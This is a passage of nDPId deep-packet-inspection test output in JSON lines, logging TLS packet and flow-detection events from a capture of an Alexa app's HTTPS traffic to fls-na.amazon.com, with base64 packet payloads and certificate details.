42DFxgePcypEXRXU1o3cArZybBO2C5Lpg6GM3f45K4KToO0khIXQJB7mXH4bbbQ3+YNFdt7793pBUrodbhy1vNPfwwdBaxsqZ6o5AMBkbpsaSUOdcoTvF9z7DiYKtABRBdPFplNooNjVCUNw9hfksqkbBfzmRXOVJUe6FB2TYGtc1mXHHxQSxvyBoGKYrbiWmhKRKN2oU7shNkGGr+2AY1qqKK5nRLcdy57snSkPzc1VrU7kChpo1TaC6Boi5W9qzCYG13onxMu6WbKte80fZF9+vPs9N9E66H+HyD7t7ZkEmtZMIt4ZpLRyDj9AgMBAAGjggKtMIICqTBaBgNVHREEUzBRghBmbHMtbmEuYW1hem9uLmNhghFmbHMtbmEuYW1hem9uLmNvbYIUZmxzLW5hLmFtYXpvbi5jb20uYnKCFGZscy1uYS5hbWF6b24uY29tLm14MAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBhBgNVHSAEWjBYMFYGBmeBDAECAjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZDBdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHYA3esdK3oNT6Ygi4GtgWhwfi6OnQHVXIiNPRHEzbbsvswAAAFZeQ7n1QAABAMARzBFAiEAyqHpuySuZQoGcM+I+Z0wX00rBtbjPPh\/qzCzZAyUhAoCIAhBWQVD0U3G8MO5dyAwrlvYf2mmJVOHUcCx971NZg0sAHcA7ku9t3XOYLrhQmkfq+GeZqMPfl+wctiDAMR7iXqo\/csAAAFZeQ7oJwAABAMASDBGAiEA\/RAOoLROyik62vKihf3Zx1TBs1KxISOTjmjnjZrbf64CIQDPCRXOcglmhnaH9koY+cdNR\/1ozx5g78hwrDg9pc0RtzANBgkqhkiG9w0BAQsFAAOCAQEAoKU0Dbk5SCaAT6\/D0vE="} +00793{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3365,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":161,"flow_packet_id":8,"flow_first_seen":1490976196942,"flow_last_seen":1490976197363,"flow_tot_l4_data_len":2058,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":257,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.121","src_port":47605,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"159d46e54a2c066ef95e656fdf034e1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02385{"flow_id":161,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3366,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":363878,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc8eZAANsGur1IFc55rBAq2AG7ufUB00Y\/mYtvBVAQASxVhwAAUSPF\/O4EUbS8iqtYW7XeLLFSQkwsNcW0blJi29ViWiroJecqf42koTiJbu21bzXz9NnWx3QZbP7HECKHS8zsIT3wSAg60lzeHBDW9OEnRzctCFd061UcVfmvjmUGgRaAHvZ7KX0Enz4wDCPEaugLfuNk0KjthMfnxC15ABSBgZ3qZBOnTbwhDWuR8lFaApR2cPTN2navpN7AHeLN5gXvpLuLlv7EGbuQwuxCa1AGr9yt4Oc1bKCLJ9usVuCIWzTdGAutoouvNMxOnvMTumCjH0ejhkZjzXQl8u+jtC5TbVZqImKVOkayTYaP10vdNEAbljkABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM0MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zAfBgNVHSMEGDAWgBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzANBgkqhkiG9w0BAQsFAAOCAQEAXpRWSd2OLWX1wTZRtgPj2p5zGfIfWatYfmwmBSz6gddcIxciLDeT94bsheawo\/0f4jKoRW\/h2fu5r9JwoDJCZb+E\/hYqjz\/Fptajk31D6XQhkTUo9GPpLu339Vx\/S5q1IOkKveBFEAwUlJpdpeNLkegkm0ZAZfQics2Z+IgR9fN\/5jM="} +02391{"flow_id":161,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3367,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":363937,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc8edAANsGurxIFc55rBAq2AG7ufUB00vzmYtvBVAQASwBDgAAguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccWAwMGURYABk0BAAZJMIIGRQoBAKCCBj4wggY6BgkrBgEFBQcwAQEEggYrMIIGJzCBnqIWBBRFIAKoi4pln3X69ekKGnjS8DcLnhgPMjAxNzAzMzExNDQ0NTVaMHMwcTBJMAkGBSsOAwIaBQAEFNGxZIuMnw3Ra6OKzStQF9X5z8BkBBRfYM9hkFXfhEMUimAqsvV69EMY7wIQI1ymMU7NRKy8vpedPadCEIAAGA8yMDE3MDMzMTE0NDQ1NVqgERgPMjAxNzA0MDcxNDQ0NTVaMA0GCSqGSIb3DQEBBQUAA4IBAQBF6EKFZ1knzWaKjpd1EHbBhF+vBD+Pb5jGJvQ7g3vJZu86FO4kCtZBxKZ0Otr7kXawtFLPQhcBgtM3WGLDS7\/6wvTJdN4fZ0QyzCzTp6q+8UwYOO7uy7R3q0Sob7e\/vf5C10NcDwAqtk4zy4mw2gjKcjCEchqehMvhhObJZfZiwBSeTqEt4ZSJ0gBT\/rv1ZbLkIKs6y\/yS3trFv2EXbi1dDhXd+s5gDJQ+Z4IuN0AmnUA9gLpR7559r6n42AR1MvfF9nRl2troBchZJCqslWOgwvx\/Ih\/1i9PisnYAZyVoek0PXB\/OG\/kMnOd0UZkuJLSgx4XYAXEX2FgTY+xHklRooIIEbjCCBGowggRmMIIDTqADAgECAhBEaJBjaUgF1sr2\/bnRxAUhMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTcwMjA0MDAwMDAwWhcNMTcwNTA1MjM1OTU5WjBAMT4wPAYDVQQDEzVTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNCBPQ1NQIFJlc3BvbmRlcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKorQp99vkC6qr9FMqUYxael0Lsma2caI4BjC9k3ZiMwrp+dvSECA4wbWstHvoB86W8Zmld7Mq1ttWywY03MGfAl96ON0PiOVo1XeDZJuXTb9bQLUSxVXuzgnwObGDuWVTxpZR3qrFjJe8I2AyvTNPjgAGVwl7uVg3Gd5k91Vvn7w0bjxB5zGmYSAubCIfzzpr1LFn\/mgU8Ju+6LT2qsP1lkNl5NbHeONr1r1usqgi\/wvPaimgi5Yv\/cUTSSwwVIrnOXifiKGb\/Rt4Io5QAadG9Xwt\/ZOc2UhoGbgcKuh\/LD\/AYHFyYV6RFExgwbe1R77b2XjRqilbA04jsvcGE8xOsCAwEAAaOCARwwggEYMA8GCSsGAQUFBzABBQQCBQAwIgYDVR0RBBswGaQXMBUxEzARBgNVBAMTClRHVi1ELTM4NTcwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wHQYDVR0OBBYEFEUgAqiLimWfdfr16QoaeNLwNwueMAwGA1UdEwEB\/wQCMAAwbgYDVR0gBGcwZTBjBgtghkgBhvhFAQcXAzBUMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAqBggrBgEFBQcCAjAeGhwgIGh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMBMGA1UdJQQMMAoGCCsGAQUFBwMJMA4GA1U="} +01162{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3367,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":161,"flow_packet_id":10,"flow_first_seen":1490976196942,"flow_last_seen":1490976197363,"flow_tot_l4_data_len":5018,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":501,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.121","src_port":47605,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","server_names":"fls-na.amazon.ca,fls-na.amazon.com,fls-na.amazon.com.br,fls-na.amazon.com.mx","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"159d46e54a2c066ef95e656fdf034e1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=fls-na.amazon.com","alpn":"h2,http\/1.1","fingerprint":"2F:16:23:0F:F8:49:12:18:49:55:48:DA:E6:59:D9:B3:BB:0E:41:8A"}} +01282{"flow_id":161,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3368,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":363976,"pkt_caplen":688,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":688,"pkt_l4_len":654,"pkt":"ePiC0\/vCAMDKkVoBCABFAAKi8ehAANsGvfVIFc55rBAq2AG7ufUB01GnmYtvBVAYASzZSQAAHQ8BAf8EBAMCB4AwDQYJKoZIhvcNAQELBQADggEBAHgcwWI1WEf915v+BMHzpq1UXjLCqvTFqlTJ6sCk3BCr8RHH4\/a+5XpxufufD6fAA8qZDYLX\/mas8o74I3yLjqr4l1CZ9vdShO6hhBVdjNDlbGEeKPsyMXuzCqxDoAkBqBZL\/pLDi+dSEwlIm2L7LpyiM0wZFDUyfTXTOMDl\/aaq1BslxdPB7rr+FWw9AgwkWCRfnrkwMRszEI7YCaM8kV8sGbR0LDnNx8V+MlL7E+4HxoSjruiAfX0\/mSXLK4Dgdl52tAdcoDAedZSz+H6Y\/busqrTk1nTRwIksEFRr6U5ipHH8d5KWkp1E61BrXCPT2wUDJ5IXYSSMy68heruHRA4WAwMBTQwAAUkDABdBBMd9bOsre+oDYVZ0qmDKBCWcTRmbZ4xNISLptCmJ2S0K7IppV6f1j7dBIyFIMFP\/wODrAfliVSz44H5ECfSVmd8GAQEALLiZpyBS3moGlZWBhoMEbneiab+LOW\/E6aqvn4\/ROErOmQJSzjP5ifYX7JmOFTEFajZb+bNwtEj3aUrrKog\/FWs5WxBLvq07D91SueiYs7zvyY5CXSDhfLuNV+4gEuNGRAFljwBE7TJ081Y2A5FdBRv+gOncA\/c7T6DLC6R9aAPeZ86JBf8YYTwjctLrJqTaEPC\/DtdVOy5Fd9LgkXtsgU43H\/+hQetxqnzfErw4EGnSZBhaDNPLVCBqz+CLI0y5Zh5ENd4Spy7Zft4GK+d9lQ0Jd+N5Die1kVQ9XKLc\/JFxsmEypqyByTHtzeY1bcHc7+M2qGoMre6SAv6h4OQwgBYDAwAEDgAAAA=="} +00417{"flow_id":161,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3369,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":367339,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo5Q1AAEAGaEusECrYSBXOebn1AbuZi28FAdNGP1AQAWK0pwAA"} +00417{"flow_id":161,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3370,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":367593,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo5Q5AAEAGaEqsECrYSBXOebn1AbuZi28FAdNL81AQAW2u6AAA"} +00417{"flow_id":161,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3371,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":367752,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo5Q9AAEAGaEmsECrYSBXOebn1AbuZi28FAdNRp1AQAXmpKAAA"} +00417{"flow_id":161,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3372,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":368095,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo5RBAAEAGaEisECrYSBXOebn1AbuZi28FAdNUIVAQAYSmowAA"} +00424{"flow_id":162,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3375,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":531809,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoFXlAANsGnN9IFc55rBAq2AG7ufYaDpo82qyJv1AQARzs2AAAAAAAAAAA"} +00424{"flow_id":162,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3376,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":531943,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoFXpAANsGnN5IFc55rBAq2AG7ufYaDpo82qyKjFAQASzr+wAAAAAAAAAA"} +02380{"flow_id":162,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3377,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":532482,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcFXtAANsGlylIFc55rBAq2AG7ufYaDpo82qyKjFAQASwiRAAAFgMDAGwCAABoAwO5WKdwm7z7kCLhq0qcFlDEutB5z\/OteruJnxh3pbdF8iCRdsiwRX7lBuKi2xkvVBvsi\/pEkh+mqwTu4hSpvMh0GcAvAAAg\/wEAAQAACwAEAwABAgAFAAAAEAALAAkIaHR0cC8xLjEWAwMLbwsAC2sAC2gABiYwggYiMIIFCqADAgECAhAjXKYxTs1ErLy+l509p0IQMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTcwMTA3MDAwMDAwWhcNMTgwMTMwMjM1OTU5WjBrMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEaMBgGA1UEAwwRZmxzLW5hLmFtYXpvbi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCiX1uuFeHp7s\/u9RJVeIg7pSJGX42DFxgePcypEXRXU1o3cArZybBO2C5Lpg6GM3f45K4KToO0khIXQJB7mXH4bbbQ3+YNFdt7793pBUrodbhy1vNPfwwdBaxsqZ6o5AMBkbpsaSUOdcoTvF9z7DiYKtABRBdPFplNooNjVCUNw9hfksqkbBfzmRXOVJUe6FB2TYGtc1mXHHxQSxvyBoGKYrbiWmhKRKN2oU7shNkGGr+2AY1qqKK5nRLcdy57snSkPzc1VrU7kChpo1TaC6Boi5W9qzCYG13onxMu6WbKte80fZF9+vPs9N9E66H+HyD7t7ZkEmtZMIt4ZpLRyDj9AgMBAAGjggKtMIICqTBaBgNVHREEUzBRghBmbHMtbmEuYW1hem9uLmNhghFmbHMtbmEuYW1hem9uLmNvbYIUZmxzLW5hLmFtYXpvbi5jb20uYnKCFGZscy1uYS5hbWF6b24uY29tLm14MAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBhBgNVHSAEWjBYMFYGBmeBDAECAjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZDBdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHYA3esdK3oNT6Ygi4GtgWhwfi6OnQHVXIiNPRHEzbbsvswAAAFZeQ7n1QAABAMARzBFAiEAyqHpuySuZQoGcM+I+Z0wX00rBtbjPPh\/qzCzZAyUhAoCIAhBWQVD0U3G8MO5dyAwrlvYf2mmJVOHUcCx971NZg0sAHcA7ku9t3XOYLrhQmkfq+GeZqMPfl+wctiDAMR7iXqo\/csAAAFZeQ7oJwAABAMASDBGAiEA\/RAOoLROyik62vKihf3Zx1TBs1KxISOTjmjnjZrbf64CIQDPCRXOcglmhnaH9koY+cdNR\/1ozx5g78hwrDg9pc0RtzANBgkqhkiG9w0BAQsFAAOCAQEAoKU0Dbk5SCaAT6\/D0vE="} +00793{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3377,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":162,"flow_packet_id":7,"flow_first_seen":1490976197297,"flow_last_seen":1490976197532,"flow_tot_l4_data_len":1833,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":261,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.121","src_port":47606,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"159d46e54a2c066ef95e656fdf034e1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02385{"flow_id":162,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3378,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":532619,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcFXxAANsGlyhIFc55rBAq2AG7ufYaDp\/w2qyKjFAQASyG8QAAUSPF\/O4EUbS8iqtYW7XeLLFSQkwsNcW0blJi29ViWiroJecqf42koTiJbu21bzXz9NnWx3QZbP7HECKHS8zsIT3wSAg60lzeHBDW9OEnRzctCFd061UcVfmvjmUGgRaAHvZ7KX0Enz4wDCPEaugLfuNk0KjthMfnxC15ABSBgZ3qZBOnTbwhDWuR8lFaApR2cPTN2navpN7AHeLN5gXvpLuLlv7EGbuQwuxCa1AGr9yt4Oc1bKCLJ9usVuCIWzTdGAutoouvNMxOnvMTumCjH0ejhkZjzXQl8u+jtC5TbVZqImKVOkayTYaP10vdNEAbljkABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM0MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zAfBgNVHSMEGDAWgBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzANBgkqhkiG9w0BAQsFAAOCAQEAXpRWSd2OLWX1wTZRtgPj2p5zGfIfWatYfmwmBSz6gddcIxciLDeT94bsheawo\/0f4jKoRW\/h2fu5r9JwoDJCZb+E\/hYqjz\/Fptajk31D6XQhkTUo9GPpLu339Vx\/S5q1IOkKveBFEAwUlJpdpeNLkegkm0ZAZfQics2Z+IgR9fN\/5jM="} +02390{"flow_id":162,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3379,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":532968,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcFX1AANsGlydIFc55rBAq2AG7ufYaDqWk2qyKjFAQASwyeAAAguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccWAwMGURYABk0BAAZJMIIGRQoBAKCCBj4wggY6BgkrBgEFBQcwAQEEggYrMIIGJzCBnqIWBBRFIAKoi4pln3X69ekKGnjS8DcLnhgPMjAxNzAzMzExNDQ0NTVaMHMwcTBJMAkGBSsOAwIaBQAEFNGxZIuMnw3Ra6OKzStQF9X5z8BkBBRfYM9hkFXfhEMUimAqsvV69EMY7wIQI1ymMU7NRKy8vpedPadCEIAAGA8yMDE3MDMzMTE0NDQ1NVqgERgPMjAxNzA0MDcxNDQ0NTVaMA0GCSqGSIb3DQEBBQUAA4IBAQBF6EKFZ1knzWaKjpd1EHbBhF+vBD+Pb5jGJvQ7g3vJZu86FO4kCtZBxKZ0Otr7kXawtFLPQhcBgtM3WGLDS7\/6